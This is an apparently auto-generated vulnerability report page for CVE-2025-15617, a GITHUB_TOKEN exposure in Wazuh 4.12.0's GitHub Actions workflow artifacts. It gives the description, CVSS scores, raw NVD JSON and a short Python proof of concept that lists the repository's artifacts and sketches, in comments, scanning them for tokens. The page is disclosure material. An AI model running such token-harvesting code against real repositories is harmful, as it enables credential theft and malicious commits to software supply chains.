Security Vulnerability Report
中文
CVE-2025-15617 CVSS 6.5 MEDIUM

CVE-2025-15617

Published: 2026-03-27 18:16:03
Last Modified: 2026-03-31 17:58:16

Description

Wazuh version 4.12.0 contains an exposure vulnerability in GitHub Actions workflow artifacts that allows attackers to extract the GITHUB_TOKEN from uploaded artifacts. Attackers can use the exposed token within a limited time window to perform unauthorized actions such as pushing malicious commits or altering release tags.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:wazuh:wazuh:4.12.0:*:*:*:*:*:*:* - VULNERABLE
Wazuh 4.12.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import zipfile import re import os # Exploit Title: CVE-2025-15617 - Wazuh GitHub Token Exposure # Description: Downloads workflow artifacts and searches for GITHUB_TOKEN TARGET_REPO = "wazuh/wazuh" GITHUB_API_URL = "https://api.github.com" def get_artifacts(repo): """Fetch list of workflow run artifacts""" url = f"{GITHUB_API_URL}/repos/{repo}/actions/artifacts" try: resp = requests.get(url) if resp.status_code == 200: return resp.json().get('artifacts', []) except Exception as e: print(f"Error fetching artifacts: {e}") return [] def download_and_scan(artifact): """Download artifact zip and scan for token""" download_url = artifact['archive_download_url'] print(f"[*] Downloading: {artifact['name']}") # Note: Requires authentication to download usually, assuming context allows or token is leaked elsewhere # This is a conceptual PoC showing the scan logic. # In a real scenario, the attacker downloads the zip, extracts it, and greps for 'ghp_' or 'github' # Example logic: # with zipfile.ZipFile('artifact.zip') as z: # for filename in z.namelist(): # data = z.read(filename).decode('utf-8', errors='ignore') # if 'ghp_' in data or 'GITHUB_TOKEN' in data: # print(f"[+] Potential token found in {filename}") print("[*] CVE-2025-15617 PoC: Scanning for leaked tokens in artifacts...") artifacts = get_artifacts(TARGET_REPO) for art in artifacts: print(f"Found artifact: {art['id']} - Created at: {art['created_at']}") # download_and_scan(art)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15617", "sourceIdentifier": "[email protected]", "published": "2026-03-27T18:16:03.173", "lastModified": "2026-03-31T17:58:15.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wazuh version 4.12.0 contains an exposure vulnerability in GitHub Actions workflow artifacts that allows attackers to extract the GITHUB_TOKEN from uploaded artifacts. Attackers can use the exposed token within a limited time window to perform unauthorized actions such as pushing malicious commits or altering release tags."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wazuh:wazuh:4.12.0:*:*:*:*:*:*:*", "matchCriteriaId": "AA15FF28-EA42-4934-9661-0C9312D1CB96"}]}]}], "references": [{"url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-6xqr-4q5g-xc7x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/exposure-of-the-github-token-in-wazuh-workflow-run-artifact", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-6xqr-4q5g-xc7x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}